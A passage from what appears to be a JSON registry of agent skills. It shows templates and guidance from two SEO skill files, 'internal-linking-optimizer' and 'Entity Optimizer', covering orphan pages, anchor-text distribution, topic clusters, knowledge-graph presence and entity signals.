|\n | 20+ | [X] | [X]% |\n \n ### Top Linked Pages\n \n | Page | Internal Links | Authority | Notes |\n |------|----------------|-----------|-------|\n | [URL 1] | [X] | High | [notes] |\n | [URL 2] | [X] | High | [notes] |\n | [URL 3] | [X] | Medium | [notes] |\n \n ### Under-Linked Important Pages\n \n | Page | Current Links | Traffic | Recommended Links |\n |------|---------------|---------|-------------------|\n | [URL 1] | [X] | [X]/mo | [X]+ |\n | [URL 2] | [X] | [X]/mo | [X]+ |\n \n **Structure Score**: [X]/10\n ```\n\n2. **Identify Orphan Pages**\n\n ```markdown\n ## Orphan Page Analysis\n \n ### Definition\n Orphan pages have no internal links pointing to them, making them \n hard for users and search engines to discover.\n \n ### Orphan Pages Found: [X]\n \n | Page | Traffic | Priority | Recommended Action |\n |------|---------|----------|-------------------|\n | [URL 1] | [X]/mo | High | Link from [pages] |\n | [URL 2] | [X]/mo | Medium | Add to navigation |\n | [URL 3] | 0 | Low | Consider deleting/redirecting |\n \n ### Fix Strategy\n \n **High Priority Orphans** (have traffic/rankings):\n 1. [URL] - Add links from: [relevant pages]\n 2. [URL] - Add links from: [relevant pages]\n \n **Medium Priority Orphans** (potentially valuable):\n 1. [URL] - Add to category/tag page\n 2. [URL] - Link from related content\n \n **Low Priority Orphans** (consider removing):\n 1. [URL] - Redirect to [better page]\n 2. [URL] - Delete or noindex\n ```\n\n3. **Analyze Anchor Text Distribution**\n\n > **CORE-EEAT alignment**: Internal linking quality maps to R08 (Internal Link Graph) in the CORE-EEAT benchmark -- use descriptive anchors, ensure links support topical authority. See [content-quality-auditor](../../cross-cutting/content-quality-auditor/) for full audit.\n\n ```markdown\n ## Anchor Text Analysis\n \n ### Current Anchor Text Patterns\n \n **Most Used Anchors**:\n \n | Anchor Text | Count | Target Pages | Assessment |\n |-------------|-------|--------------|------------|\n | \"click here\" | [X] | [X] pages | \u274c Not descriptive |\n | \"read more\" | [X] | [X] pages | \u274c Not descriptive |\n | \"[exact keyword]\" | [X] | [page] | \u26a0\ufe0f May be over-optimized |\n | \"[descriptive phrase]\" | [X] | [page] | \u2705 Good |\n \n ### Anchor Text Distribution by Page\n \n **Page: [Important URL]**\n \n | Anchor Text | Source Page | Status |\n |-------------|-------------|--------|\n | \"[anchor 1]\" | [source URL] | \u2705/\u26a0\ufe0f/\u274c |\n | \"[anchor 2]\" | [source URL] | \u2705/\u26a0\ufe0f/\u274c |\n \n **Issues Found**:\n - Over-optimized anchors: [X] instances\n - Generic anchors: [X] instances\n - Same anchor to multiple pages: [X] instances\n \n ### Anchor Text Recommendations\n \n **For Page: [URL]**\n \n Current: \"[current anchor]\" used [X] times\n \n Recommended variety:\n - \"[variation 1]\" - Use from [page type]\n - \"[variation 2]\" - Use from [page type]\n - \"[variation 3]\" - Use from [page type]\n \n **Anchor Score**: [X]/10\n ```\n\n4. **Create Topic Cluster Link Strategy**\n\n ```markdown\n ## Topic Cluster Internal Linking\n \n ### Cluster: [Main Topic]\n \n **Pillar Page**: [URL]\n **Cluster Articles**: [X]\n \n ### Current Link Map\n \n ```\n [Pillar Page]\n \u251c\u2500\u2500 [Cluster Article 1] \u2190\u2192 [linked?]\n \u251c\u2500\u2500 [Cluster Article 2] \u2190\u2192 [linked?]\n \u251c\u2500\u2500 [Cluster Article 3] \u2190\u2192 [linked?]\n \u2514\u2500\u2500 [Cluster Article 4] \u2190\u2192 [linked?]\n ```\n \n ### Recommended Link Structure\n \n ```\n [Pillar Page]\n \u251c\u2500\u2500 Links TO all cluster articles \u2705\n \u2502\n \u251c\u2500\u2500 [Cluster Article 1]\n \u2502 \u251c\u2500\u2500 Link TO pillar \u2705\n \u2502 \u2514\u2500\u2500 Link TO related cluster articles\n \u2502\n \u251c\u2500\u2500 [Cluster Article 2]\n \u2502 \u251c\u2500\u2500 Link TO pillar \u2705\n \u2502 \u2514\u2500\u2500 Link TO related cluster articles\n \u2502\n \u2514\u2500\u2500 [etc.]\n ```\n \n ### Links to Add\n \n | From Page | To Page | Anchor Text | Location |\n |-----------|---------|-------------|----------|\n | [URL 1] | [URL 2] | \"[anchor]\" | [paragraph/section] |\n | [URL 2] | [URL 3] | \"[anchor]\" | [paragraph/section] |\n | [Pillar] | [Cluster 1] | \"[anchor]\" | [section] |\n ```\n\n5. **Find Contextual Link Opportunities**\n\n ```markdown\n ## Contextual Link Opportunities\n \n ### Link Opportunity Analysis\n \n For each page, find relevant pages to link to based on:\n - Topic relevance\n - Keyword overlap\n - User journey logic\n - Authority distribution needs\n \n ### Opportunities Found\n \n **Page: [URL 1]**\n **Topic**: [topic]\n **Current internal links**: [X]\n \n | Opportunity | Target Page | Anchor Text | Why Link |\n |-------------|-------------|-------------|----------|\n | Paragraph 2 mentions \"[topic]\" | [URL] | \"[topic phrase]\" | Topic match |\n | Section on \"[subject]\" | [URL] | \"[anchor]\" | Related guide |\n | CTA at end | [URL] | \"[anchor]\" | User journey |\n \n **Page: [URL 2]**\n [Continue for each page...]\n \n ### Priority Link Additions\n \n **High Impact Links** (add these first):\n \n 1. **From**: [Source URL]\n **To**: [Target URL]\n **Anchor**: \"[anchor text]\"\n **Why**: [reason - e.g., \"Target page needs authority boost\"]\n **Where to add**: [specific location in content]\n \n 2. **From**: [Source URL]\n **To**: [Target URL]\n [etc.]\n ```\n\n6. **Optimize Navigation and Footer Links**\n\n ```markdown\n ## Site-Wide Link Optimization\n \n ### Current Navigation Analysis\n \n **Main Navigation**:\n - Links present: [list]\n - Missing important pages: [list]\n - Too many links: [Yes/No]\n \n **Footer Navigation**:\n - Links present: [list]\n - SEO value: [assessment]\n \n ### Navigation Recommendations\n \n | Element | Current | Recommended | Reason |\n |---------|---------|-------------|--------|\n | Main nav | [X] links | [Y] links | [reason] |\n | Footer | [X] links | [Y] links | [reason] |\n | Sidebar | [status] | [recommendation] | [reason] |\n | Breadcrumbs | [status] | [recommendation] | [reason] |\n \n ### Pages to Add to Navigation\n \n 1. [Page] - Add to [location] because [reason]\n 2. [Page] - Add to [location] because [reason]\n \n ### Pages to Remove from Navigation\n \n 1. [Page] - Move to [footer/remove] because [reason]\n ```\n\n7. **Generate Link Implementation Plan**\n\n ```markdown\n # Internal Linking Optimization Plan\n \n **Site**: [domain]\n **Analysis Date**: [date]\n \n ## Executive Summary\n \n - Total link opportunities found: [X]\n - Orphan pages to fix: [X]\n - Estimated traffic impact: [+X%]\n - Priority actions: [X]\n \n ## Current State\n \n | Metric | Current | Target | Gap |\n |--------|---------|--------|-----|\n | Avg links per page | [X] | [X] | [X] |\n | Orphan pages | [X] | 0 | [X] |\n | Over-optimized anchors | [X]% | <10% | [X]% |\n | Topic cluster coverage | [X]% | 100% | [X]% |\n \n ## Priority Actions\n \n ### Phase 1: Critical Fixes (Week 1)\n \n **Fix Orphan Pages**:\n - [ ] [URL] - Add links from [X] pages\n - [ ] [URL] - Add links from [X] pages\n \n **High-Value Link Additions**:\n - [ ] Link [Page A] to [Page B] with \"[anchor]\"\n - [ ] Link [Page A] to [Page C] with \"[anchor]\"\n \n ### Phase 2: Topic Clusters (Week 2-3)\n \n **Cluster 1: [Topic]**\n - [ ] Ensure pillar links to all [X] cluster articles\n - [ ] Add [X] cross-links between cluster articles\n \n **Cluster 2: [Topic]**\n - [ ] [Tasks]\n \n ### Phase 3: Optimization (Week 4+)\n \n **Anchor Text Diversity**:\n - [ ] Vary anchors for [Page] - currently [X]% exact match\n - [ ] [Additional tasks]\n \n **Navigation Updates**:\n - [ ] Add [Page] to main navigation\n - [ ] Update footer links\n \n ## Implementation Guide\n \n ### Adding Internal Links\n \n Best practices:\n 1. Add links contextually within content\n 2. Use descriptive anchor text (not \"click here\")\n 3. Link to relevant, helpful pages\n 4. Aim for 3-10 internal links per 1,000 words\n 5. Vary anchor text for the same target\n \n ### Anchor Text Guidelines\n \n | Type | Example | Usage |\n |------|---------|-------|\n | Exact match | \"keyword research\" | 10-20% |\n | Partial match | \"tips for keyword research\" | 30-40% |\n | Branded | \"Brand's guide to...\" | 10-20% |\n | Natural | \"this article\", \"learn more\" | 20-30% |\n \n ## Tracking Success\n\n Monitor these metrics weekly:\n - [ ] Rankings for target keywords\n - [ ] Traffic to previously orphan pages\n - [ ] Crawl stats in ~~search console\n - [ ] Internal link distribution changes\n ```\n\n## Validation Checkpoints\n\n### Input Validation\n- [ ] Site structure or sitemap provided (URL or file)\n- [ ] Target pages or topic clusters clearly defined\n- [ ] If optimizing specific page, page URL or content provided\n\n### Output Validation\n- [ ] Every recommendation cites specific data points (not generic advice)\n- [ ] All link suggestions include source page, target page, and recommended anchor text\n- [ ] Orphan page lists include URLs and recommended actions\n- [ ] Source of each data point clearly stated (~~web crawler data, ~~analytics, user-provided, or manual analysis)\n\n## Example\n\n**User**: \"Find internal linking opportunities for my blog post about 'email marketing best practices'\"\n\n**Output**:\n\n```markdown\n## Internal Linking Opportunities\n\n**Page**: /blog/email-marketing-best-practices/\n**Current Internal Links**: 2\n\n### Recommended Links to Add\n\n| Section | Text to Link | Target Page | Anchor |\n|---------|--------------|-------------|--------|\n| Para 2 | \"building your email list\" | /blog/grow-email-list/ | \"building your email list\" |\n| Para 5 | \"subject lines\" | /blog/email-subject-lines/ | \"write compelling subject lines\" |\n| Section on segmentation | \"audience segments\" | /blog/email-segmentation-guide/ | \"segment your audience\" |\n| CTA section | \"marketing automation\" | /services/email-automation/ | \"email automation services\" |\n| Conclusion | \"email marketing tools\" | /blog/best-email-tools/ | \"top email marketing tools\" |\n\n### Pages That Should Link TO This Article\n\n| Source Page | Location | Anchor Text |\n|-------------|----------|-------------|\n| /blog/digital-marketing-guide/ | Email section | \"email marketing best practices\" |\n| /services/marketing-services/ | Related content | \"email marketing strategies\" |\n| /blog/lead-generation-tips/ | Email mention | \"email marketing techniques\" |\n\n### Priority Actions\n\n1. Add 5 outbound internal links (listed above)\n2. Request 3 inbound links from related pages\n3. Add to \"Marketing\" category page\n```\n\n## Tips for Success\n\n1. **Quality over quantity** - Add relevant links, not random ones\n2. **User-first thinking** - Links should help users navigate\n3. **Vary anchor text** - Avoid over-optimization\n4. **Link to important pages** - Distribute authority strategically\n5. **Regular audits** - Internal links need maintenance as content grows\n\n## Link Architecture Patterns\n\n### Common Architecture Models\n\n| Model | Description | Best For | Limitations |\n|-------|------------|---------|------------|\n| **Hub-and-Spoke** | Central pillar links to/from cluster pages | Topic authority, content hubs | Can isolate topic clusters |\n| **Silo Structure** | Strict category hierarchies, vertical linking | Large e-commerce, strict taxonomy | Limits cross-topic discovery |\n| **Flat Architecture** | All pages 2-3 clicks from homepage | Small sites (<100 pages) | Doesn't scale to large sites |\n| **Pyramid** | Homepage \u2192 Categories \u2192 Subcategories \u2192 Pages | News sites, large blogs | Deep pages get less authority |\n| **Mesh/Matrix** | Cross-links between related content freely | Knowledge bases, wikis | Can become chaotic without rules |\n\n### Hub-and-Spoke Implementation\n\n```\nHomepage\n \u2514\u2500\u2500 Topic Hub A (pillar page)\n \u2502 \u251c\u2500\u2500 Cluster Article A1 \u2190\u2192 A2\n \u2502 \u251c\u2500\u2500 Cluster Article A2 \u2190\u2192 A3\n \u2502 \u2514\u2500\u2500 Cluster Article A3 \u2190\u2192 A1\n \u2514\u2500\u2500 Topic Hub B (pillar page)\n \u251c\u2500\u2500 Cluster Article B1 \u2190\u2192 B2\n \u2514\u2500\u2500 Cluster Article B2 \u2190\u2192 B1\n\nCross-links: A2 \u2192 B1 (related subtopics)\n```\n\n## Anchor Text Diversity Framework\n\n### Anchor Text Types\n\n| Type | Example | Target Distribution | Risk Level |\n|------|---------|-------------------|------------|\n| Exact match | \"keyword research tools\" | 10-15% | Over-optimization risk if higher |\n| Partial match | \"best tools for keyword research\" | 20-30% | Safe, natural variation |\n| Branded | \"Ahrefs keyword explorer\" | 15-25% | Always safe |\n| Generic | \"click here\", \"learn more\", \"read this\" | 5-10% | Low SEO value |\n| Descriptive/natural | \"this comprehensive guide covers...\" | 20-30% | Most natural, recommended |\n| Naked URL | \"example.com/page\" | 5-10% | Natural for citations |\n\n### Anchor Text Best Practices\n- Vary anchor text for the same target page\n- Use descriptive text that tells users AND search engines what to expect\n- Never use identical anchor text for different target pages\n- Monitor for accidental over-optimization of commercial keywords\n\n## Link Equity Flow Model\n\n### Link Equity Distribution\n\n| Page Position | Equity Received | Action to Increase |\n|--------------|----------------|-------------------|\n| Homepage | Highest (all external links flow here) | Distribute to key pages via prominent links |\n| Category pages | High (linked from homepage + child pages) | Link to from blog posts, not just nav |\n| Top content | Medium-High (if well-linked internally) | Increase internal links from other strong pages |\n| Deep pages | Low (few internal links) | Add contextual links from related pages |\n| Orphan pages | Zero (no internal links!) | Critical: add at least 3 internal links |\n\n### Link Equity Optimization Rules\n1. **Link from strong pages to weak pages** \u2014 pages with high authority should link to priority pages\n2. **Reduce click depth** \u2014 important pages should be within 3 clicks of homepage\n3. **Fix orphan pages** \u2014 every page needs at least one internal link\n4. **Use contextual links** \u2014 links within body content pass more value than navigation/footer links\n5. **Limit links per page** \u2014 diminishing returns above 100 internal links per page\n\n## Internal Link Audit Checklist\n\n| Check | Tool/Method | Pass Criteria |\n|-------|------------|--------------|\n| Orphan pages | Crawl report | Zero orphan pages |\n| Click depth | Crawl report | All priority pages \u22643 clicks from home |\n| Broken internal links | Crawl report | Zero 404 internal links |\n| Redirect chains | Crawl report | No chain >2 redirects |\n| Anchor text diversity | Manual audit | No anchor text >30% exact match |\n| Bidirectional links | Manual audit | Related pages link to each other |\n| Navigation consistency | Manual audit | Key pages in main nav |\n| Contextual links per page | Manual audit | 3-5 contextual links per 1000 words |\n\n## Reference Materials\n\n- [Link Architecture Patterns](./references/link-architecture-patterns.md) \u2014 Architecture models, implementation guides, and link equity optimization strategies\n\n## Related Skills\n\n- [content-gap-analysis](../../research/content-gap-analysis/) \u2014 Find content to link to\n- [seo-content-writer](../../build/seo-content-writer/) \u2014 Create linkable content\n- [on-page-seo-auditor](../on-page-seo-auditor/) \u2014 Audit overall on-page SEO\n- [technical-seo-checker](../technical-seo-checker/) \u2014 Check crawlability\n- [content-quality-auditor](../../cross-cutting/content-quality-auditor/) \u2014 Full 80-item CORE-EEAT audit\n- [schema-markup-generator](../../build/schema-markup-generator/) \u2014 Breadcrumb and navigation schema\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/aaron-he-zhu/internal-linking-optimizer/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/aaron-he-zhu/internal-linking-optimizer/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/aaron-he-zhu/internal-linking-optimizer/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/aaron-he-zhu/internal-linking-optimizer/SKILL.md", "commit": "fe9bc149c1"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/aaron-he-zhu/internal-linking-optimizer/SKILL.md", "importedAt": "2026-02-18T19:24:21.000Z"}}}}, {"slug": "clawhub-entity-optimizer", "name": "Entity Optimizer", "category": "Security", "description": "SEO & GEO Skills Library \u00b7 20 skills for SEO + GEO \u00b7 Install all: npx skills add aaron-he-zhu/seo-geo-claude-skills", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "Entity Optimizer", "slug": "clawhub-entity-optimizer", "version": "1.0.0", "description": "--- name: entity-optimizer description: 'Use when the user asks to \"optimize entity presence\", \"build knowledge graph\", \"improve knowledge panel\", \"entity audit\", \"establish brand entity\", \"Google does not know my brand\", \"no knowledge panel\", or \"establish my brand as an entity\". Works standalone with public search and AI query testing; supercharged when you connect ~~knowledge graph + ~~SEO tool + ~~AI monitor for automated entity analysis. For structured data implementation, see schema-markup-generator. For content-level AI optimization, see geo-content-optimizer.' license: Apache-2.0 metadata: author: aaron-he-zhu version: \"2.0.0\" geo-relevance: \"high\" tags: - seo - geo - entity optimization - knowledge graph - knowledge panel - brand entity - entity disambiguation - wikidata - structured entities triggers: - \"optimize entity presence\" - \"build knowledge graph\" - \"improve knowledge panel\" - \"entity audit\" - \"establish brand entity\" - \"knowledge panel\" - \"entity disambiguation\" - \"Google doesn't know my brand\" - \"no knowledge panel\" - \"establish my brand as an entity\" ---", "documentation_md": "---\nname: entity-optimizer\ndescription: 'Use when the user asks to \"optimize entity presence\", \"build knowledge graph\", \"improve knowledge panel\", \"entity audit\", \"establish brand entity\", \"Google does not know my brand\", \"no knowledge panel\", or \"establish my brand as an entity\". Works standalone with public search and AI query testing; supercharged when you connect ~~knowledge graph + ~~SEO tool + ~~AI monitor for automated entity analysis. For structured data implementation, see schema-markup-generator. For content-level AI optimization, see geo-content-optimizer.'\nlicense: Apache-2.0\nmetadata:\n author: aaron-he-zhu\n version: \"2.0.0\"\n geo-relevance: \"high\"\n tags:\n - seo\n - geo\n - entity optimization\n - knowledge graph\n - knowledge panel\n - brand entity\n - entity disambiguation\n - wikidata\n - structured entities\n triggers:\n - \"optimize entity presence\"\n - \"build knowledge graph\"\n - \"improve knowledge panel\"\n - \"entity audit\"\n - \"establish brand entity\"\n - \"knowledge panel\"\n - \"entity disambiguation\"\n - \"Google doesn't know my brand\"\n - \"no knowledge panel\"\n - \"establish my brand as an entity\"\n---\n\n# Entity Optimizer\n\n\n> **[SEO & GEO Skills Library](https://skills.sh/aaron-he-zhu/seo-geo-claude-skills)** \u00b7 20 skills for SEO + GEO \u00b7 Install all: `npx skills add aaron-he-zhu/seo-geo-claude-skills`\n\n<details>\n<summary>Browse all 20 skills</summary>\n\n**Research** \u00b7 [keyword-research](../../research/keyword-research/) \u00b7 [competitor-analysis](../../research/competitor-analysis/) \u00b7 [serp-analysis](../../research/serp-analysis/) \u00b7 [content-gap-analysis](../../research/content-gap-analysis/)\n\n**Build** \u00b7 [seo-content-writer](../../build/seo-content-writer/) \u00b7 [geo-content-optimizer](../../build/geo-content-optimizer/) \u00b7 [meta-tags-optimizer](../../build/meta-tags-optimizer/) \u00b7 [schema-markup-generator](../../build/schema-markup-generator/)\n\n**Optimize** \u00b7 [on-page-seo-auditor](../../optimize/on-page-seo-auditor/) \u00b7 [technical-seo-checker](../../optimize/technical-seo-checker/) \u00b7 [internal-linking-optimizer](../../optimize/internal-linking-optimizer/) \u00b7 [content-refresher](../../optimize/content-refresher/)\n\n**Monitor** \u00b7 [rank-tracker](../../monitor/rank-tracker/) \u00b7 [backlink-analyzer](../../monitor/backlink-analyzer/) \u00b7 [performance-reporter](../../monitor/performance-reporter/) \u00b7 [alert-manager](../../monitor/alert-manager/)\n\n**Cross-cutting** \u00b7 [content-quality-auditor](../content-quality-auditor/) \u00b7 [domain-authority-auditor](../domain-authority-auditor/) \u00b7 **entity-optimizer** \u00b7 [memory-management](../memory-management/)\n\n</details>\n\nThis skill audits, builds, and maintains entity identity across search engines and AI systems. Entities \u2014 the people, organizations, products, and concepts that search engines and AI systems recognize as distinct things \u2014 are the foundation of how both Google and LLMs decide *what you are* and *whether to cite you*.\n\n**Why entities matter for SEO + GEO:**\n\n- **SEO**: Google's Knowledge Graph powers Knowledge Panels, rich results, and entity-based ranking signals. A well-defined entity earns SERP real estate.\n- **GEO**: AI systems resolve queries to entities before generating answers. If an AI can't identify your entity, it can't cite you \u2014 no matter how good your content is.\n\n## When to Use This Skill\n\n- Establishing a new brand/person/product as a recognized entity\n- Auditing current entity presence across Knowledge Graph, Wikidata, and AI systems\n- Improving or correcting a Knowledge Panel\n- Building entity associations (entity \u2194 topic, entity \u2194 industry)\n- Resolving entity disambiguation issues (your entity confused with another)\n- Strengthening entity signals for AI citation\n- After launching a new brand, product, or organization\n- Preparing for a site migration (preserving entity identity)\n- Running periodic entity health checks\n\n## What This Skill Does\n\n1. **Entity Audit**: Evaluates current entity presence across search and AI systems\n2. **Knowledge Graph Analysis**: Checks Google Knowledge Graph, Wikidata, and Wikipedia status\n3. **AI Entity Resolution Test**: Queries AI systems to see how they identify and describe the entity\n4. **Entity Signal Mapping**: Identifies all signals that establish entity identity\n5. **Gap Analysis**: Finds missing or weak entity signals\n6. **Entity Building Plan**: Creates actionable plan to establish or strengthen entity presence\n7. **Disambiguation Strategy**: Resolves confusion with similarly-named entities\n\n## How to Use\n\n### Entity Audit\n\n```\nAudit entity presence for [brand/person/organization]\n```\n\n```\nHow well do search engines and AI systems recognize [entity name]?\n```\n\n### Build Entity Presence\n\n```\nBuild entity presence for [new brand] in the [industry] space\n```\n\n```\nEstablish [person name] as a recognized expert in [topic]\n```\n\n### Fix Entity Issues\n\n```\nMy Knowledge Panel shows incorrect information \u2014 fix entity signals for [entity]\n```\n\n```\nAI systems confuse [my entity] with [other entity] \u2014 help me disambiguate\n```\n\n## Data Sources\n\n> See [CONNECTORS.md](../../CONNECTORS.md) for tool category placeholders.\n\n**With ~~knowledge graph + ~~SEO tool + ~~AI monitor + ~~brand monitor connected:**\nQuery Knowledge Graph API for entity status, pull branded search data from ~~SEO tool, test AI citation with ~~AI monitor, track brand mentions with ~~brand monitor.\n\n**With manual data only:**\nAsk the user to provide:\n1. Entity name, type (Person, Organization, Brand, Product, Creative Work, Event)\n2. Primary website / domain\n3. Known existing profiles (Wikipedia, Wikidata, social media, industry directories)\n4. Top 3-5 topics/industries the entity should be associated with\n5. Any known disambiguation issues (other entities with same/similar name)\n\nWithout tools, Claude provides entity optimization strategy and recommendations based on information the user provides. The user must run search queries, check Knowledge Panels, and test AI responses to supply the raw data for analysis.\n\nProceed with the audit using public search results, AI query testing, and SERP analysis. Note which items require tool access for full evaluation.\n\n## Instructions\n\nWhen a user requests entity optimization:\n\n### Step 1: Entity Discovery\n\nEstablish the entity's current state across all systems.\n\n```markdown\n### Entity Profile\n\n**Entity Name**: [name]\n**Entity Type**: [Person / Organization / Brand / Product / Creative Work / Event]\n**Primary Domain**: [URL]\n**Target Topics**: [topic 1, topic 2, topic 3]\n\n#### Current Entity Presence\n\n| Platform | Status | Details |\n|----------|--------|---------|\n| Google Knowledge Panel | \u2705 Present / \u274c Absent / \u26a0\ufe0f Incorrect | [details] |\n| Wikidata | \u2705 Listed / \u274c Not listed | [QID if exists] |\n| Wikipedia | \u2705 Article / \u26a0\ufe0f Mentioned only / \u274c Absent | [notability assessment] |\n| Google Knowledge Graph API | \u2705 Entity found / \u274c Not found | [entity ID, types, score] |\n| Schema.org on site | \u2705 Complete / \u26a0\ufe0f Partial / \u274c Missing | [Organization/Person/Product schema] |\n\n#### AI Entity Resolution Test\n\n**Note**: Claude cannot directly query other AI systems or perform real-time web searches without tool access. When running without ~~AI monitor or ~~knowledge graph tools, ask the user to run these test queries and report the results, or use the user-provided information to assess entity presence.\n\nTest how AI systems identify this entity by querying:\n- \"What is [entity name]?\"\n- \"Who founded [entity name]?\" (for organizations)\n- \"What does [entity name] do?\"\n- \"[entity name] vs [competitor]\"\n\n| AI System | Recognizes Entity? | Description Accuracy | Cites Entity's Content? |\n|-----------|-------------------|---------------------|------------------------|\n| ChatGPT | \u2705 / \u26a0\ufe0f / \u274c | [accuracy notes] | [yes/no/partially] |\n| Claude | \u2705 / \u26a0\ufe0f / \u274c | [accuracy notes] | [yes/no/partially] |\n| Perplexity | \u2705 / \u26a0\ufe0f / \u274c | [accuracy notes] | [yes/no/partially] |\n| Google AI Overview | \u2705 / \u26a0\ufe0f / \u274c | [accuracy notes] | [yes/no/partially] |\n```\n\n### Step 2: Entity Signal Audit\n\nEvaluate entity signals across 6 categories. For the detailed 47-signal checklist with verification methods, see [references/entity-signal-checklist.md](./references/entity-signal-checklist.md).\n\n```markdown\n### Entity Signal Audit\n\n#### 1. Structured Data Signals\n\n| Signal | Status | Action Needed |\n|--------|--------|--------------|\n| Organization/Person schema on homepage | \u2705 / \u274c | [action] |\n| sameAs links to authoritative profiles | \u2705 / \u274c | [action] |\n| logo, foundingDate, founder properties | \u2705 / \u274c | [action] |\n| Consistent @id across pages | \u2705 / \u274c | [action] |\n| Product/Service schema on relevant pages | \u2705 / \u274c | [action] |\n| Author schema with sameAs on articles | \u2705 / \u274c | [action] |\n\n#### 2. Knowledge Base Signals\n\n| Signal | Status | Action Needed |\n|--------|--------|--------------|\n| Wikidata entry with complete properties | \u2705 / \u274c | [action] |\n| Wikipedia article (or notability path) | \u2705 / \u274c | [action] |\n| CrunchBase profile (organizations) | \u2705 / \u274c | [action] |\n| Industry directory listings | \u2705 / \u274c | [action] |\n| Government/official registries | \u2705 / \u274c | [action] |\n\n#### 3. Consistent NAP+E Signals (Name, Address, Phone + Entity)\n\n| Signal | Status | Action Needed |\n|--------|--------|--------------|\n| Consistent entity name across all platforms | \u2705 / \u274c | [action] |\n| Same description/tagline everywhere | \u2705 / \u274c | [action] |\n| Matching logos and visual identity | \u2705 / \u274c | [action] |\n| Social profiles all linked bidirectionally | \u2705 / \u274c | [action] |\n| Contact info consistent across directories | \u2705 / \u274c | [action] |\n\n#### 4. Content-Based Entity Signals\n\n| Signal | Status | Action Needed |\n|--------|--------|--------------|\n| About page with entity-rich structured content | \u2705 / \u274c | [action] |\n| Author pages with credentials and sameAs | \u2705 / \u274c | [action] |\n| Topical authority (content depth in target topics) | \u2705 / \u274c | [action] |\n| Entity mentions in content (natural co-occurrence) | \u2705 / \u274c | [action] |\n| Branded anchor text in backlinks | \u2705 / \u274c | [action] |\n\n#### 5. Third-Party Entity Signals\n\n| Signal | Status | Action Needed |\n|--------|--------|--------------|\n| Mentions on authoritative sites (news, industry) | \u2705 / \u274c | [action] |\n| Co-citation with established entities | \u2705 / \u274c | [action] |\n| Reviews and ratings on third-party platforms | \u2705 / \u274c | [action] |\n| Speaking engagements, awards, publications | \u2705 / \u274c | [action] |\n| Press coverage with entity name | \u2705 / \u274c | [action] |\n\n#### 6. AI-Specific Entity Signals\n\n| Signal | Status | Action Needed |\n|--------|--------|--------------|\n| Clear entity definition in opening paragraphs | \u2705 / \u274c | [action] |\n| Unambiguous entity name (or disambiguation strategy) | \u2705 / \u274c | [action] |\n| Factual claims about entity are verifiable | \u2705 / \u274c | [action] |\n| Entity appears in AI training data sources | \u2705 / \u274c | [action] |\n| Entity's content is crawlable by AI systems | \u2705 / \u274c | [action] |\n```\n\n### Step 3: Report & Action Plan\n\n```markdown\n## Entity Optimization Report\n\n### Overview\n\n- **Entity**: [name]\n- **Entity Type**: [type]\n- **Audit Date**: [date]\n\n### Signal Category Summary\n\n| Category | Status | Key Findings |\n|----------|--------|-------------|\n| Structured Data | \u2705 Strong / \u26a0\ufe0f Gaps / \u274c Missing | [key findings] |\n| Knowledge Base | \u2705 Strong / \u26a0\ufe0f Gaps / \u274c Missing | [key findings] |\n| Consistency (NAP+E) | \u2705 Strong / \u26a0\ufe0f Gaps / \u274c Missing | [key findings] |\n| Content-Based | \u2705 Strong / \u26a0\ufe0f Gaps / \u274c Missing | [key findings] |\n| Third-Party | \u2705 Strong / \u26a0\ufe0f Gaps / \u274c Missing | [key findings] |\n| AI-Specific | \u2705 Strong / \u26a0\ufe0f Gaps / \u274c Missing | [key findings] |\n\n### Critical Issues\n\n[List any issues that severely impact entity recognition \u2014 disambiguation problems, incorrect Knowledge Panel, missing from Knowledge Graph entirely]\n\n### Top 5 Priority Actions\n\nSorted by: impact on entity recognition \u00d7 effort required\n\n1. **[Signal]** \u2014 [specific action]\n - Impact: [High/Medium] | Effort: [Low/Medium/High]\n - Why: [explanation of how this improves entity recognition]\n\n2. **[Signal]** \u2014 [specific action]\n - Impact: [High/Medium] | Effort: [Low/Medium/High]\n - Why: [explanation]\n\n3\u20135. [Same format]\n\n### Entity Building Roadmap\n\n#### Week 1-2: Foundation (Structured Data + Consistency)\n- [ ] Implement/fix Organization or Person schema with full properties\n- [ ] Add sameAs links to all authoritative profiles\n- [ ] Audit and fix NAP+E consistency across all platforms\n- [ ] Ensure About page is entity-rich and well-structured\n\n#### Month 1: Knowledge Bases\n- [ ] Create or update Wikidata entry with complete properties\n- [ ] Ensure CrunchBase / industry directory profiles are complete\n- [ ] Build Wikipedia notability (or plan path to notability)\n- [ ] Submit to relevant authoritative directories\n\n#### Month 2-3: Authority Building\n- [ ] Secure mentions on authoritative industry sites\n- [ ] Build co-citation signals with established entities\n- [ ] Create topical content clusters that reinforce entity-topic associations\n- [ ] Pursue PR opportunities that generate entity mentions\n\n#### Ongoing: AI-Specific Optimization\n- [ ] Test AI entity resolution quarterly\n- [ ] Update factual claims to remain current and verifiable\n- [ ] Monitor AI systems for incorrect entity information\n- [ ] Ensure new content reinforces entity identity signals\n\n### Cross-Reference\n\n- **CORE-EEAT relevance**: Items A07 (Knowledge Graph Presence) and A08 (Entity Consistency) directly overlap \u2014 entity optimization strengthens Authority dimension\n- **CITE relevance**: CITE I01-I10 (Identity dimension) measures entity signals at domain level \u2014 entity optimization feeds these scores\n- For content-level audit: [content-quality-auditor](../content-quality-auditor/)\n- For domain-level audit: [domain-authority-auditor](../domain-authority-auditor/)\n```\n\n## Validation Checkpoints\n\n### Input Validation\n- [ ] Entity name and type identified\n- [ ] Primary domain/website confirmed\n- [ ] Target topics/industries specified\n- [ ] Disambiguation context provided (if entity name is common)\n\n### Output Validation\n- [ ] All 6 signal categories evaluated\n- [ ] AI entity resolution tested with at least 3 queries\n- [ ] Knowledge Panel status checked\n- [ ] Wikidata/Wikipedia status verified\n- [ ] Schema.org markup on primary site audited\n- [ ] Every recommendation is specific and actionable\n- [ ] Roadmap includes concrete steps with timeframes\n- [ ] Cross-reference with CORE-EEAT A07/A08 and CITE I01-I10 noted\n\n## Example\n\n**User**: \"Audit 